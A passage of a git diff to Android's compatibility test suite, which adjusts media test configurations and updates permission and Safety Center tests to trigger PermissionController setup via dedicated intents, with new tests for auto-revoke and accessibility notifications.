value="CtsMediaMuxerTestCases-1.1" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaMuxerTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaMuxerTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.muxer.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml index e3e8b0215cc..a0041ac2af8 100644 --- a/tests/tests/media/player/AndroidTest.xml +++ b/tests/tests/media/player/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaPlayerTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaPlayerTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaPlayerTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaPlayerTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.player.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java index 81c0d89b9d2..86c6912796c 100644 --- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java +++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java @@ -75,6 +75,7 @@ public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase { private CtsTestServer mServer; @Before + @Override public void setUp() throws Throwable { super.setUp(); } diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java index b46366cb5d8..fdf85076427 100644 --- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java +++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java @@ -406,9 +406,10 @@ public class MediaPlayerTest extends MediaPlayerTestBase { } @Test - public void testConcurentPlayAudio() throws Exception { + public void testConcurrentPlayAudio() throws Exception { final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded - final int tolerance = 70; + final int recommendedTolerance = 70; + final List<Integer> offsets = new ArrayList<>(); Preconditions.assertTestFileExists(mInpPrefix + res); List<MediaPlayer> mps = Stream.generate( @@ -431,13 +432,25 @@ public class MediaPlayerTest extends MediaPlayerTestBase { int pos = mp.getCurrentPosition(); assertTrue(pos >= 0); - Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them + Thread.sleep(SLEEP_TIME); // Delay each track to be able to hear them } + // Check that all mp3 are playing concurrently here + // Record the offsets between streams, but don't enforce them for (MediaPlayer mp : mps) { int pos = mp.getCurrentPosition(); Thread.sleep(SLEEP_TIME); - assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance); + offsets.add(Math.abs(pos + SLEEP_TIME - mp.getCurrentPosition())); + } + + if (offsets.stream().anyMatch(offset -> offset > recommendedTolerance)) { + Log.w(LOG_TAG, "testConcurrentPlayAudio: some concurrent playing offsets " + + offsets + " are above the recommended tolerance of " + + recommendedTolerance + "ms."); + } else { + Log.i(LOG_TAG, "testConcurrentPlayAudio: all concurrent playing offsets " + + offsets + " are under the recommended tolerance of " + + recommendedTolerance + "ms."); } } finally { mps.forEach(MediaPlayer::release); diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java index 0505d8b5119..5c1ec89be93 100644 --- a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java +++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java @@ -282,6 +282,10 @@ public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<Me mRecorder.reset(); mRecorder.release(); output.write(", " + i); + if (mRemoveVideo) { + removeRecodedVideo(filename); + } + } output.write("\n\n"); @@ -371,6 +375,9 @@ public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<Me mRecorder.release(); Log.v(TAG, "release video recorder"); output.write(", " + i); + if (mRemoveVideo) { + removeRecodedVideo(filename); + } } output.write("\n\n"); diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp index 8bc82220b10..c50c6a70dd7 100644 --- a/tests/tests/os/Android.bp +++ b/tests/tests/os/Android.bp @@ -40,6 +40,7 @@ android_test { "hamcrest-library", "modules-utils-build_system", "platformprotosnano", + "safety-center-internal-data", ], jni_uses_platform_apis: true, jni_libs: [ diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt index 4b91ee0c3ec..f49e06548d6 100644 --- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt +++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt @@ -50,17 +50,23 @@ import com.android.compatibility.common.util.UiDumpUtils import com.android.compatibility.common.util.click import com.android.compatibility.common.util.depthFirstSearch import com.android.compatibility.common.util.textAsString +import java.io.InputStream +import java.util.concurrent.CountDownLatch +import java.util.concurrent.TimeUnit import org.hamcrest.Matcher import org.hamcrest.Matchers import org.junit.Assert import org.junit.Assert.assertThat import org.junit.Assert.assertTrue -import java.io.InputStream -import java.util.concurrent.CountDownLatch -import java.util.concurrent.TimeUnit private const val BROADCAST_TIMEOUT_MS = 60000L +const val PROPERTY_SAFETY_CENTER_ENABLED = "safety_center_is_enabled" +const val HIBERNATION_BOOT_RECEIVER_CLASS_NAME = + "com.android.permissioncontroller.hibernation.HibernationOnBootReceiver" +const val ACTION_SET_UP_HIBERNATION = + "com.android.permissioncontroller.action.SET_UP_HIBERNATION" + const val SYSUI_PKG_NAME = "com.android.systemui" const val NOTIF_LIST_ID = "com.android.systemui:id/notification_stack_scroller" const val CLEAR_ALL_BUTTON_ID = "dismiss_text" @@ -82,35 +88,37 @@ const val APK_PACKAGE_NAME_Q_APP = "android.os.cts.autorevokeqapp" fun runBootCompleteReceiver(context: Context, testTag: String) { val pkgManager = context.packageManager val permissionControllerPkg = pkgManager.permissionControllerPackageName + var permissionControllerSetupIntent = Intent(ACTION_SET_UP_HIBERNATION).apply { + setPackage(permissionControllerPkg) + setFlags(Intent.FLAG_RECEIVER_FOREGROUND) + } val receivers = pkgManager.queryBroadcastReceivers( - Intent(Intent.ACTION_BOOT_COMPLETED), /* flags= */ 0) - for (ri in receivers) { - val pkg = ri.activityInfo.packageName - if (pkg == permissionControllerPkg) { - val permissionControllerSetupIntent = Intent() - .setClassName(pkg, ri.activityInfo.name) - .setFlags(Intent.FLAG_RECEIVER_FOREGROUND) - .setPackage(permissionControllerPkg) - val countdownLatch = CountDownLatch(1) - Log.d(testTag, "Sending boot complete broadcast directly to ${ri.activityInfo.name} " + - "in package $permissionControllerPkg") - context.sendOrderedBroadcast( - permissionControllerSetupIntent, - /* receiverPermission= */ null, - object : BroadcastReceiver() { - override fun onReceive(context: Context?, intent: Intent?) { - countdownLatch.countDown() - Log.d(testTag, "Broadcast received by $permissionControllerPkg") - } - }, - Handler.createAsync(Looper.getMainLooper()), - Activity.RESULT_OK, - /* initialData= */ null, - /* initialExtras= */ null) - assertTrue("Timed out while waiting for boot receiver broadcast to be received", - countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS)) + permissionControllerSetupIntent, /* flags= */ 0) + if (receivers.size == 0) { + // May be on an older, pre-built PermissionController. In this case, try sending directly. + permissionControllerSetupIntent = Intent().apply { + setPackage(permissionControllerPkg) + setClassName(permissionControllerPkg, HIBERNATION_BOOT_RECEIVER_CLASS_NAME) + setFlags(Intent.FLAG_RECEIVER_FOREGROUND) } } + val countdownLatch = CountDownLatch(1) + Log.d(testTag, "Sending boot complete broadcast directly to $permissionControllerPkg") + context.sendOrderedBroadcast( + permissionControllerSetupIntent, + /* receiverPermission= */ null, + object : BroadcastReceiver() { + override fun onReceive(context: Context?, intent: Intent?) { + countdownLatch.countDown() + Log.d(testTag, "Broadcast received by $permissionControllerPkg") + } + }, + Handler.createAsync(Looper.getMainLooper()), + Activity.RESULT_OK, + /* initialData= */ null, + /* initialExtras= */ null) + assertTrue("Timed out while waiting for boot receiver broadcast to be received", + countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS)) } fun runAppHibernationJob(context: Context, tag: String) { @@ -197,6 +205,12 @@ inline fun <T> withUnusedThresholdMs(threshold: Long, action: () -> T): T { threshold.toString(), action) } +inline fun <T> withSafetyCenterEnabled(action: () -> T): T { + return withDeviceConfig( + DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_SAFETY_CENTER_ENABLED, + true.toString(), action) +} + fun awaitAppState(pkg: String, stateMatcher: Matcher<Int>) { val context: Context = InstrumentationRegistry.getTargetContext() eventually { diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt index b724be82b36..fdfda50bda9 100644 --- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt +++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt @@ -28,8 +28,11 @@ import android.content.pm.PackageManager.PERMISSION_GRANTED import android.content.res.Resources import android.net.Uri import android.os.Build +import android.os.UserHandle import android.platform.test.annotations.AppModeFull import android.provider.DeviceConfig +import android.safetycenter.SafetyCenterIssue +import android.safetycenter.SafetyCenterManager import android.support.test.uiautomator.By import android.support.test.uiautomator.BySelector import android.support.test.uiautomator.UiObject2 @@ -54,6 +57,13 @@ import com.android.compatibility.common.util.click import com.android.compatibility.common.util.depthFirstSearch import com.android.compatibility.common.util.uiDump import com.android.modules.utils.build.SdkLevel +import com.android.safetycenter.internaldata.SafetyCenterIds +import com.android.safetycenter.internaldata.SafetyCenterIssueId +import com.android.safetycenter.internaldata.SafetyCenterIssueKey +import java.lang.reflect.Modifier +import java.util.concurrent.TimeUnit +import java.util.concurrent.atomic.AtomicReference +import java.util.regex.Pattern import org.hamcrest.CoreMatchers.containsString import org.hamcrest.CoreMatchers.containsStringIgnoringCase import org.hamcrest.CoreMatchers.equalTo @@ -71,10 +81,6 @@ import org.junit.Ignore import org.junit.Rule import org.junit.Test import org.junit.runner.RunWith -import java.lang.reflect.Modifier -import java.util.concurrent.TimeUnit -import java.util.concurrent.atomic.AtomicReference -import java.util.regex.Pattern private const val READ_CALENDAR = "android.permission.READ_CALENDAR" private const val BLUETOOTH_CONNECT = "android.permission.BLUETOOTH_CONNECT" @@ -103,6 +109,8 @@ class AutoRevokeTest { companion object { const val LOG_TAG = "AutoRevokeTest" private const val STORE_EXACT_TIME_KEY = "permission_changes_store_exact_time" + private const val UNUSED_APPS_SOURCE_ID = "AndroidPermissionAutoRevoke" + private const val UNUSED_APPS_ISSUE_ID = "unused_apps_issue" @JvmStatic @BeforeClass @@ -126,7 +134,11 @@ class AutoRevokeTest { // Wake up the device runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP") - runShellCommandOrThrow("input keyevent 82") + if ("false".equals(runShellCommandOrThrow("cmd lock_settings get-disabled"))) { + // Unlock screen only when it's lock settings enabled to prevent showing "wallpaper + // picker" which may cover another UI elements on freeform window configuration. + runShellCommandOrThrow("input keyevent 82") + } if (isAutomotiveDevice()) { supportedApkPath = APK_PATH_S_APP @@ -434,6 +446,88 @@ class AutoRevokeTest { } } + @AppModeFull(reason = "Uses separate apps for testing") + @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") + @Test + fun testAutoRevoke_showsUpInSafetyCenter() { + withSafetyCenterEnabled { + withUnusedThresholdMs(3L) { + withDummyApp { + startAppAndAcceptPermission() + + killDummyApp() + + // Run + runAppHibernationJob(context, LOG_TAG) + + // Verify + val safetyCenterManager = + context.getSystemService(SafetyCenterManager::class.java)!! + eventually { + val issues = ArrayList<SafetyCenterIssue>() + runWithShellPermissionIdentity { + val safetyCenterData = safetyCenterManager!!.safetyCenterData + issues.addAll(safetyCenterData.issues) + } + val issueId = SafetyCenterIds.encodeToString( + SafetyCenterIssueId.newBuilder() + .setSafetyCenterIssueKey(SafetyCenterIssueKey.newBuilder() + .setSafetySourceId(UNUSED_APPS_SOURCE_ID) + .setSafetySourceIssueId(UNUSED_APPS_ISSUE_ID) + .setUserId(UserHandle.myUserId()) + .build()) + .setIssueTypeId(UNUSED_APPS_ISSUE_ID) + .build()) + assertTrue(issues.any { it.id == issueId }) + } + } + } + } + } + + @AppModeFull(reason = "Uses separate apps for testing") + @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") + @Test + fun testAutoRevoke_goToUnusedAppsPage_removesSafetyCenterIssue() { + withSafetyCenterEnabled { + withUnusedThresholdMs(3L) { + withDummyApp { + startAppAndAcceptPermission() + + killDummyApp() + + // Run + runAppHibernationJob(context, LOG_TAG) + + // Go to unused apps page + openUnusedAppsNotification() + waitFindObject(By.text(supportedAppPackageName)) + + // Verify + val safetyCenterManager = + context.getSystemService(SafetyCenterManager::class.java)!! + eventually { + val issues = ArrayList<SafetyCenterIssue>() + runWithShellPermissionIdentity { + val safetyCenterData = safetyCenterManager!!.safetyCenterData + issues.addAll(safetyCenterData.issues) + } + val issueId = SafetyCenterIds.encodeToString( + SafetyCenterIssueId.newBuilder() + .setSafetyCenterIssueKey(SafetyCenterIssueKey.newBuilder() + .setSafetySourceId(UNUSED_APPS_SOURCE_ID) + .setSafetySourceIssueId(UNUSED_APPS_ISSUE_ID) + .setUserId(UserHandle.myUserId()) + .build()) + .setIssueTypeId(UNUSED_APPS_ISSUE_ID) + .build()) + assertFalse(issues.any { it.id == issueId }) + } + } + } + } + } + private fun isAutomotiveDevice(): Boolean { return context.packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) } @@ -576,9 +670,9 @@ class AutoRevokeTest { val parent = waitFindObject( By.clickable(true) .hasDescendant(By.textStartsWith("Remove permissions")) - .hasDescendant(By.clazz(Switch::class.java.name)) + .hasDescendant(By.checkable(true)) ) - return parent.findObject(By.clazz(Switch::class.java.name)) + return parent.findObject(By.checkable(true)) } private fun waitForIdle() { diff --git a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt index 58238e3b5be..513e1dfebf4 100644 --- a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt +++ b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt @@ -33,8 +33,10 @@ import android.permission.cts.NotificationListenerUtils.getNotification import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueDoesNotExist import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueExist import android.permission.cts.SafetyCenterUtils.assertSafetyCenterStarted +import android.permission.cts.SafetyCenterUtils.deleteDeviceConfigPrivacyProperty import android.permission.cts.SafetyCenterUtils.deviceSupportsSafetyCenter import android.permission.cts.SafetyCenterUtils.setDeviceConfigPrivacyProperty +import android.platform.test.annotations.AppModeFull import android.provider.DeviceConfig import android.safetycenter.SafetyCenterManager import androidx.test.filters.SdkSuppress @@ -55,6 +57,10 @@ import org.junit.Test import org.junit.runner.RunWith @RunWith(AndroidJUnit4::class) +@AppModeFull( + reason = "Cannot set system settings as instant app. Also we never show an accessibility " + + "notification for instant apps." +) @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") class AccessibilityPrivacySourceTest { @@ -109,6 +115,28 @@ class AccessibilityPrivacySourceTest { } @Test + fun testJobSendsNotificationOnEnable() { + mAccessibilityServiceRule.enableService() + runJobAndWaitUntilCompleted() + assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + + setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, true.toString()) + cancelNotification(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + InstrumentedAccessibilityService.disableAllServices() + setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, false.toString()) + setDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS, "0") + + // enable service again and verify a notification + try { + mAccessibilityServiceRule.enableService() + runJobAndWaitUntilCompleted() + assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + } finally { + deleteDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS) + } + } + + @Test fun testJobSendsIssuesToSafetyCenter() { mAccessibilityServiceRule.enableService() runJobAndWaitUntilCompleted() @@ -238,12 +266,27 @@ class AccessibilityPrivacySourceTest { "cmd jobscheduler reset-execution-quota -u " + "${Process.myUserHandle().identifier} $permissionControllerPackage") - context.sendBroadcast( - Intent().apply { - setClassName(permissionControllerPackage, AccessibilityOnBootReceiver) - setFlags(Intent.FLAG_RECEIVER_FOREGROUND) + // Setup up permission controller again (simulate a reboot) + val permissionControllerSetupIntent = + Intent(ACTION_SET_UP_ACCESSIBILITY_CHECK).apply { setPackage(permissionControllerPackage) - }) + setFlags(Intent.FLAG_RECEIVER_FOREGROUND) + } + + // Query for the setup broadcast receiver + val resolveInfos = + context.packageManager.queryBroadcastReceivers(permissionControllerSetupIntent, 0) + + if (resolveInfos.size > 0) { + context.sendBroadcast(permissionControllerSetupIntent) + } else { + context.sendBroadcast( + Intent().apply { + setClassName(permissionControllerPackage, AccessibilityOnBootReceiver) + setFlags(Intent.FLAG_RECEIVER_FOREGROUND) + setPackage(permissionControllerPackage) + }) + } // Wait until jobs are set up TestUtils.eventually( @@ -274,6 +317,7 @@ class AccessibilityPrivacySourceTest { private const val ACCESSIBILITY_SOURCE_ENABLED = "sc_accessibility_source_enabled" private const val SAFETY_CENTER_ENABLED = "safety_center_is_enabled" private const val ACCESSIBILITY_LISTENER_ENABLED = "sc_accessibility_listener_enabled" + private const val ACCESSIBILITY_JOB_INTERVAL_MILLIS = "sc_accessibility_job_interval_millis" private const val ACCESSIBILITY_JOB_ID = 6 private const val ACCESSIBILITY_NOTIFICATION_ID = 4 @@ -283,6 +327,8 @@ class AccessibilityPrivacySourceTest { private const val AccessibilityOnBootReceiver = "com.android.permissioncontroller.privacysources.AccessibilityOnBootReceiver" + private const val ACTION_SET_UP_ACCESSIBILITY_CHECK = + "com.android.permissioncontroller.action.SET_UP_ACCESSIBILITY_CHECK" @get:ClassRule @JvmStatic diff --git a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java index 6ce52b180f4..f88b7ecbbaa 100644 --- a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java +++ b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java @@ -17,7 +17,6 @@ package android.permission.cts; import static android.Manifest.permission.WRITE_DEVICE_CONFIG; -import static android.content.Intent.ACTION_BOOT_COMPLETED; import static android.content.Intent.FLAG_RECEIVER_FOREGROUND; import static android.os.Process.myUserHandle; import static android.permission.cts.PermissionUtils.clearAppState; @@ -105,7 +104,7 @@ public class BaseNotificationListenerCheckTest { private static final String PROPERTY_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = "notification_listener_check_interval_millis"; - private static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = + protected static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = SECONDS.toMillis(1); private static final String PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW = @@ -114,6 +113,11 @@ public class BaseNotificationListenerCheckTest { private static final String PROPERTY_JOB_SCHEDULER_RATE_LIMIT_WINDOW_MILLIS = "qc_rate_limiting_window_ms"; + private static final String ACTION_SET_UP_NOTIFICATION_LISTENER_CHECK = + "com.android.permissioncontroller.action.SET_UP_NOTIFICATION_LISTENER_CHECK"; + private static final String NotificationListenerOnBootReceiver = + "com.android.permissioncontroller.privacysources.SetupPeriodicNotificationListenerCheck"; + /** * ID for notification shown by * {@link com.android.permissioncontroller.privacysources.NotificationListenerCheck}. @@ -374,19 +378,21 @@ public class BaseNotificationListenerCheckTest { }, UNEXPECTED_TIMEOUT_MILLIS); // Setup up permission controller again (simulate a reboot) - Intent permissionControllerSetupIntent = null; - for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers( - new Intent(ACTION_BOOT_COMPLETED), 0)) { - String pkg = ri.activityInfo.packageName; - - if (pkg.equals(PERMISSION_CONTROLLER_PKG)) { - permissionControllerSetupIntent = new Intent() - .setClassName(pkg, ri.activityInfo.name) - .setFlags(FLAG_RECEIVER_FOREGROUND) - .setPackage(PERMISSION_CONTROLLER_PKG); - - sContext.sendBroadcast(permissionControllerSetupIntent); - } + Intent permissionControllerSetupIntent = new Intent( + ACTION_SET_UP_NOTIFICATION_LISTENER_CHECK).setPackage( + PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND); + + // Query for the setup broadcast receiver + List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers( + permissionControllerSetupIntent, 0); + + if (resolveInfos.size() > 0) { + sContext.sendBroadcast(permissionControllerSetupIntent); + } else { + sContext.sendBroadcast(new Intent() + .setClassName(PERMISSION_CONTROLLER_PKG, NotificationListenerOnBootReceiver) + .setFlags(FLAG_RECEIVER_FOREGROUND) + .setPackage(PERMISSION_CONTROLLER_PKG)); } // Wait until jobs are set up diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java index b41fb081d39..ceb4ede242b 100644 --- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java +++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java @@ -23,7 +23,6 @@ import static android.app.AppOpsManager.OPSTR_FINE_LOCATION; import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED; import static android.content.Context.BIND_AUTO_CREATE; import static android.content.Context.BIND_NOT_FOREGROUND; -import static android.content.Intent.ACTION_BOOT_COMPLETED; import static android.content.Intent.FLAG_RECEIVER_FOREGROUND; import static android.location.Criteria.ACCURACY_FINE; import static android.os.Process.myUserHandle; @@ -41,7 +40,6 @@ import static org.junit.Assert.assertNotEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; @@ -120,6 +118,8 @@ public class LocationAccessCheckTest { "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk"; private static final String TEST_APP_LOCATION_FG_ACCESS_APK = "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk"; + private static final String ACTION_SET_UP_LOCATION_ACCESS_CHECK = + "com.android.permissioncontroller.action.SET_UP_LOCATION_ACCESS_CHECK"; private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0; private static final int LOCATION_ACCESS_CHECK_NOTIFICATION_ID = 0; @@ -153,6 +153,10 @@ public class LocationAccessCheckTest { private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager() .getPermissionControllerPackageName(); + private static final String LocationAccessCheckOnBootReceiver = + "com.android.permissioncontroller.permission.service" + + ".LocationAccessCheck$SetupPeriodicBackgroundLocationAccessCheck"; + /** * The result of {@link #assumeCanGetFineLocation()}, so we don't have to run it over and over @@ -389,6 +393,11 @@ public class LocationAccessCheckTest { * Force a run of the location check. */ private static void runLocationCheck() throws Throwable { + // If the job isn't setup, do it before running a location check + if (!isLocationAccessJobSetup(myUserHandle().getIdentifier())) { + setupLocationAccessCheckJob(); + } + // Sleep a little bit to make sure we don't have overlap in timing Thread.sleep(1000); @@ -676,36 +685,45 @@ public class LocationAccessCheckTest { } }, UNEXPECTED_TIMEOUT_MILLIS); - // Setup up permission controller again (simulate a reboot) - Intent permissionControllerSetupIntent = null; - for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers( - new Intent(ACTION_BOOT_COMPLETED), 0)) { - String pkg = ri.activityInfo.packageName; - - if (pkg.equals(PERMISSION_CONTROLLER_PKG)) { - permissionControllerSetupIntent = new Intent() - .setClassName(pkg, ri.activityInfo.name) - .setFlags(FLAG_RECEIVER_FOREGROUND) - .setPackage(PERMISSION_CONTROLLER_PKG); - - sContext.sendBroadcast(permissionControllerSetupIntent); - } - } + setupLocationAccessCheckJob(); // Wait until jobs are set up eventually(() -> { - JobSchedulerServiceDumpProto dump = getJobSchedulerDump(); + assertTrue("LocationAccessCheck job not found", + isLocationAccessJobSetup(currentUserId)); + }, UNEXPECTED_TIMEOUT_MILLIS); + } - for (RegisteredJob job : dump.registeredJobs) { - if (job.dump.sourceUserId == currentUserId - && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG) - && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) { - return; - } + private static boolean isLocationAccessJobSetup(int currentUserId) throws Exception { + JobSchedulerServiceDumpProto dump = getJobSchedulerDump(); + for (RegisteredJob job : dump.registeredJobs) { + if (job.dump.sourceUserId == currentUserId + && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG) + && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) { + return true; } - - fail("Permission controller jobs not found"); - }, UNEXPECTED_TIMEOUT_MILLIS); + } + return false; + } + + private static void setupLocationAccessCheckJob() { + // Setup location access check + Intent permissionControllerSetupIntent = new Intent( + ACTION_SET_UP_LOCATION_ACCESS_CHECK).setPackage( + PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND); + + // Query for the setup broadcast receiver + List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers( + permissionControllerSetupIntent, 0); + + if (resolveInfos.size() > 0) { + sContext.sendBroadcast(permissionControllerSetupIntent); + } else { + sContext.sendBroadcast(new Intent() + .setClassName(PERMISSION_CONTROLLER_PKG, LocationAccessCheckOnBootReceiver) + .setFlags(FLAG_RECEIVER_FOREGROUND) + .setPackage(PERMISSION_CONTROLLER_PKG)); + } } /** diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java index 3ee161f67e0..88006b999a7 100644 --- a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java +++ b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java @@ -151,6 +151,25 @@ public class NotificationListenerCheckTest extends BaseNotificationListenerCheck } @Test + public void notificationIsShownAgainAfterDisableAndReenableAppNotificationListener() + throws Throwable { + runNotificationListenerCheck(); + + eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS); + + // Disallow NLS, and run NLS check job. This should clear NLS off notified list + disallowTestAppNotificationListenerService(); + runNotificationListenerCheck(); + + // Re-allow NLS, and run NLS check job. This work now that it's cleared NLS off notified + // list + allowTestAppNotificationListenerService(); + runNotificationListenerCheck(); + + eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS); + } + + @Test public void removeNotificationOnUninstall() throws Throwable { runNotificationListenerCheck(); diff --git a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt index f057b21a849..7514079bfc3 100644 --- a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt +++ b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt @@ -67,7 +67,7 @@ object SafetyCenterUtils { @JvmStatic fun assertSafetyCenterStarted() { // CollapsingToolbar title can't be found by text, so using description instead. - waitFindObject(By.desc("Security & Privacy")) + waitFindObject(By.desc("Security & privacy")) } @JvmStatic @@ -88,6 +88,16 @@ object SafetyCenterUtils { } @JvmStatic + fun deleteDeviceConfigPrivacyProperty( + propertyName: String, + uiAutomation: UiAutomation = instrumentation.uiAutomation + ) { + runWithShellPermissionIdentity(uiAutomation) { + DeviceConfig.deleteProperty(DeviceConfig.NAMESPACE_PRIVACY, propertyName) + } + } + + @JvmStatic private fun getSafetyCenterIssues( automation: UiAutomation = instrumentation.uiAutomation ): List<SafetyCenterIssue> { diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml index 162f66aea4b..1c9dc6317a6 100644 --- a/tests/tests/permission2/res/raw/android_manifest.xml +++ b/tests/tests/permission2/res/raw/android_manifest.xml @@ -6462,6 +6462,13 @@ <permission android:name="android.permission.SET_UNRESTRICTED_KEEP_CLEAR_AREAS" android:protectionLevel="signature|privileged" /> + <!-- Allows an app to set gesture exclusion without restrictions on the vertical extent of the + exclusions (see {@link android.view.View#setSystemGestureExclusionRects}). + @hide + --> + <permission android:name="android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION" + 